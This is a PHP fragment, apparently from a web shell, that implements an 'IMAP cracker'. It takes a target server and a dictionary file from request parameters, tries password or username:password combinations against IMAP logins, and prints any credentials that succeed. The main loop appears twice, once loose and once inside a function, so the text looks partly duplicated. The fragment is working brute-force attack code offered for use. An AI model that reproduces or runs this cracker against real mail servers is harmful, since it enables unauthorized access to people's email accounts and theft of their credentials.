$target = $_REQUEST['target']; $type = $_REQUEST['combo']; $user = !empty($_REQUEST['user']) ? $_REQUEST['user'] : ""; $dictionary = fopen($_REQUEST['dictionary'], 'r'); if ($dictionary) { echo "<font color=yellow>Cracking " . htmlspecialchars($target) . "...<br>"; flusheR(); while (!feof($dictionary)) { if ($type) { $combo = trim(fgets($dictionary), " \n\r"); $user = substr($combo, 0, strpos($combo, ':')); $pass = substr($combo, strpos($combo, ':') + 1); } else { $pass = trim(fgets($dictionary), " \n\r"); } $imap = imaplogiN($target, $user, $pass); if ($imap == -1) { echo "{$errorbox} Can not connect to server.{$et}"; break; } else { if ($imap) { echo "U: {$user} P: {$pass}<br>"; if (!$type) { break; } } } flusheR(); } echo "<br/>Done</font>"; fclose($dictionary);
function imapcrackeR() { global $t, $et, $errorbox, $crack; if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])) { $target = $_REQUEST['target']; $type = $_REQUEST['combo']; $user = !empty($_REQUEST['user']) ? $_REQUEST['user'] : ""; $dictionary = fopen($_REQUEST['dictionary'], 'r'); if ($dictionary) { echo "<font color=blue>Cracking " . htmlspecialchars($target) . "...<br>"; flusheR(); while (!feof($dictionary)) { if ($type) { $combo = trim(fgets($dictionary), " \n\r"); $user = substr($combo, 0, strpos($combo, ':')); $pass = substr($combo, strpos($combo, ':') + 1); } else { $pass = trim(fgets($dictionary), " \n\r"); } $imap = imaplogiN($target, $user, $pass); if ($imap == -1) { echo "{$errorbox} Can not connect to server.{$et}"; break; } else { if ($imap) { echo "U: {$user} P: {$pass}<br>"; if (!$type) { break; } } } flusheR(); } echo "<br>Done</font>"; fclose($dictionary); } else { echo "{$errorbox} Can not open dictionary.{$et}"; } } else { echo "<center>{$t}IMAP cracker:{$crack}"; } }